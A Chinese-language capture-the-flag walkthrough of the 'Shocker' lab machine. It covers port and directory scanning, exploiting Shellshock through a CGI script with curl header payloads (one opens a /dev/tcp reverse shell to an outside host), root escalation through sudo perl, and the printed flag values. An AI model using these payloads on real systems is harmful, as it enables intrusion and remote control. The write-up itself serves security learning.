靶机—— Shocker

admin 2023年4月11日10:43:28评论27 views字数 3984阅读13分16秒阅读模式

目录

思路概述:[1]信息收集[2]

端口扫描[3]目录扫描[4]

漏洞探测[5]

web服务[6]shellshock[7]

漏洞利用条件[8]

检测shellshock[9]


提权[10]

提权信息收集[11]

知识补充[12]

Cgi-bin[13]


靶机—— Shocker

思路概述:

1、通过nmap进行端口扫描发现开放了web和ssh服务

2、对web服务进行探测→利用dirsearch和gobuster进行目录扫描→探测到/cgi-bin目录下存在sh脚本

3、通过shellshock获取初级shell

4、通过sudo -l 发现可以root执行perl命令→利用GTFOBins查询提权方法→获取root权限

信息收集

端口扫描

sudo nmap -sS -A -sC -sV -p- --min-rate 5000 10.129.18.196

PORT     STATE SERVICE VERSION                      80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))|_http-title: Site doesn't have a title (text/html).                                   2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)                      | ssh-hostkey:                                      |   2048 c4f8ade8f80477decf150d630a187e49 (RSA) |   256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA)|_  256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519)No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).TCP/IP fingerprint:        OS:SCAN(V=7.93%E=4%D=3/7%OT=80%CT=1%CU=30078%PV=Y%DS=2%DC=T%G=Y%TM=6406C5CAOS:%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10A%TI=Z%CI=I%TS=8)SEQ(SP=10OS:7%GCD=1%ISR=10A%TI=Z%II=I%TS=8)SEQ(SP=107%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TOS:S=8)OPS(O1=M53AST11NW6%O2=M53AST11NW6%O3=M53ANNT11NW6%O4=M53AST11NW6%O5=OS:M53AST11NW6%O6=M53AST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7OS:120)ECN(R=Y%DF=Y%T=40%W=7210%O=M53ANNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%AOS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%OS:T=40%CD=S)                                       
Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

这里可以基本看到开启了80端口和2222的ssh服务。

目录扫描

根据开放端口。我们对web服务进行目录扫描

python3 dirsearch.py -u http://10.129.18.196/

居然什么都扫不到。麻了。

换个工具继续扫。使用gobuster

gobuster dir -u http://10.129.18.196/ -w /usr/share/wordlists/dirb/small.txt -o gobuster

===============================================================/cgi-bin/             (Status: 403) [Size: 296]Progress: 959 / 960 (99.90%)===============================================================

那么我们继续对这个cgi-bin扫描

gobuster dir -u http://10.129.18.196/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x sh,pl,cgi -o cgi-bin

解读一下该命令

首先是使用了gobuster的dir目录扫描模式,然后后面-u是url。-w是字典。-x是后缀。

这个字典里面有960项。那么会进行四种后缀的探测。最终生成3840个待探测项。

===============================================================/user.sh              (Status: 200) [Size: 119]Progress: 3836 / 3840 (99.90%)===============================================================

可以看到这里有个user.sh

漏洞探测

web服务

这里user.sh的内容如下。

靶机—— Shocker

抓包看一下。这里存在时间。那么考虑是否我们的时间头会被注入。

靶机—— Shocker

我以为这里是可以通过给请求包加Date头进行注入。原来是我的知识盲区。

当我们进行uptime命令时,会输出一模一样的东西。

靶机—— Shocker

也就是这个脚本应该是执行了一个uptime命令。

shellshock

Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。

漏洞利用条件

1、首先是Unix、linux等系统下的bash版本必须小于等于4.1版本;2、可以猜出/cgi-bin/下目录的文件;例如:/cgi-bin/test-cgi、/cgi-bin/test.sh、/cgi-bin/test.py、/cgi-bin/test.perl等等;3、/cgi-bin/下的脚本文件通过系统环境变量调用bash的环境;

通过客户端request请求进行header头传参(用户想执行的代码),检验执行的效果: 注意:在header头的任何位置添加你想执行的脚本都可以,不一定非得是User-Agent

检测shellshock

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" http://10.129.18.196/cgi-bin/user.sh

靶机—— Shocker

这里也就有我们的破壳漏洞了。那么我们可以通过RCE得到一个初级的shell。

curl -H "user-agent: () { :; };/bin/bash -i >& /dev/tcp/10.10.16.10/1113 0>&1" http://10.129.18.196/cgi-bin/user.sh

提权

cat /home/shelly/user.txt

70919313a4027a41461d432707dfe83a

提权信息收集

sudo -l

sudo -lMatching Defaults entries for shelly on Shocker:    env_reset, mail_badpass,    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User shelly may run the following commands on Shocker: (root) NOPASSWD: /usr/bin/perl

可以看到我们这里可以以root执行perl

靶机—— Shocker

sudo /usr/bin/perl -e 'exec "/bin/sh";'

cat /root/root.txt

fe7680bc9881118ff06b77ab5b5e4e73

知识补充

Cgi-bin

CGI-BIN是一种特殊的目录,在进行交互式的WWW访问(如填写在线表格)时,需要服务器上有 相应的程序对访问者输入的信息进行处理,这些程序就是CGI程序。

References

[1] 思路概述:: #思路概述
[2] 信息收集: #信息收集
[3] 端口扫描: #端口扫描
[4] 目录扫描: #目录扫描
[5] 漏洞探测: #漏洞探测
[6] web服务: #web服务
[7] shellshock: #shellshock
[8] 漏洞利用条件: #漏洞利用条件
[9] 检测shellshock: #检测shellshock
[10] 提权: #提权
[11] 提权信息收集: #提权信息收集
[12] 知识补充: #知识补充
[13] Cgi-bin: #Cgi-bin


原文始发于微信公众号(靶机狂魔):靶机—— Shocker

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月11日10:43:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶机—— Shockerhttps://cn-sec.com/archives/1665849.html

发表评论

匿名网友 填写信息